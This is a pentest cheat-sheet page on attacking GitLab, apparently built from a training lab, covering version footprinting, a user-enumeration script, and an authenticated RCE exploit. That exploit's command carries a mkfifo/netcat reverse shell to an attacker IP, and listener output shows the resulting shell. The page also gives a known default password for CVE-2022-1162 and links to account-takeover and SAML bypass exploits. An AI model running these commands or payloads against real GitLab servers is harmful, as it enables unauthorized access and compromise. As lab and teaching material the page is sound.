> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/gitlab.md).

# GitLab

Gitlab exploitation

### Footprinting & Discovery

`http://gitlab.inlanefreight.local:8081/users/sign_in`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FcHwuQJDRP3DYJXL4sFrT%2Fimage.png?alt=media&amp;token=8b3dd405-d9e2-4870-a5f9-1299e1537faa" alt=""><figcaption></figcaption></figure>

The only way to footprint the GitLab version number in use is by browsing to the `/help` page when logged in

## Enumeration

Browse to `/explore` and see if there are any public projects that may contain something interesting.

Check and see if we can register an account and access additional projects

### User Enumeration

`http://gitlab.inlanefreight.local:8081/users/sign_up`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F9YokSGXKrssC7B865BkJ%2Fimage.png?alt=media&amp;token=e5a0dd06-dc14-49fd-8deb-11c88fd15fc6" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/49821>" %}

{% embed url="<https://github.com/dpgg101/GitLabUserEnum>" %}

GitLab's defaults are set to 10 failed attempts resulting in an automatic unlock after 10 minutes&#x20;

```shell-session
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FwqyXpOM0roYR8kleNTMM%2Fimage.png?alt=media&amp;token=564cc3d0-80e5-4787-83b1-a4b3693e0fcc" alt=""><figcaption></figcaption></figure>

***

## Authenticated Remote Code Execution

\
GitLab Community Edition version 13.10.2 and lower suffered from an authenticated remote code execution

{% embed url="<https://www.exploit-db.com/exploits/49951>" %}

If we encounter a vulnerable version of GitLab that allows for self-registration, we can quickly sign up for an account and pull off the attack. Else, OSINT or password guessing

```shell-session
python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f '

[1] Authenticating
Successfully Authenticated
[2] Creating Payload 
[3] Creating Snippet and Uploading
[+] RCE Triggered !!
```

```shell-session
nc -lnvp 8443

listening on [any] 8443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.88] 60054

git@app04:~/gitlab-workhorse$ id

id
uid=996(git) gid=997(git) groups=997(git)
```

## Gitlab 14.9 CVE-2022-1162

New Gitlab Accounts (created since the first affect version and if Gitlab is before the patched version) can be logged into with the following password:

`123qweQWE!@#000000000`

Source: <https://x.com/HackerGautam/status/1520624546654867456>

## CVE-2023-7028 - Admin Account Take Over

Account-Take-Over vulnerability that allows users to take control of the gitlab administrator account without user interaction

{% embed url="<https://github.com/Vozec/CVE-2023-7028>" %}

## GitLab Authentication Bypass (CVE-2024-45409)

All the following GitLab (CE/EE) versions are vulnerable:

* < 16.11.10
* 17.0.0 < 17.0.8
* 17.0.0 < 17.1.8
* 17.0.0 < 17.2.7
* 17.0.0 < 17.3.3

{% embed url="<https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/>" %}

{% embed url="<https://blog.projectdiscovery.io/content/media/2024/10/Screen-Recording-2024-10-04-at-10.13.31-PM.mp4>" %}

{% embed url="<https://github.com/synacktiv/CVE-2024-45409>" %}

## Resources

{% embed url="<https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/gitlab>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FtT3srZzbUxV8iN6zjNrl%2Fimage.png?alt=media&amp;token=962e4759-e8b9-4e26-b998-6df524fdfaf8" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.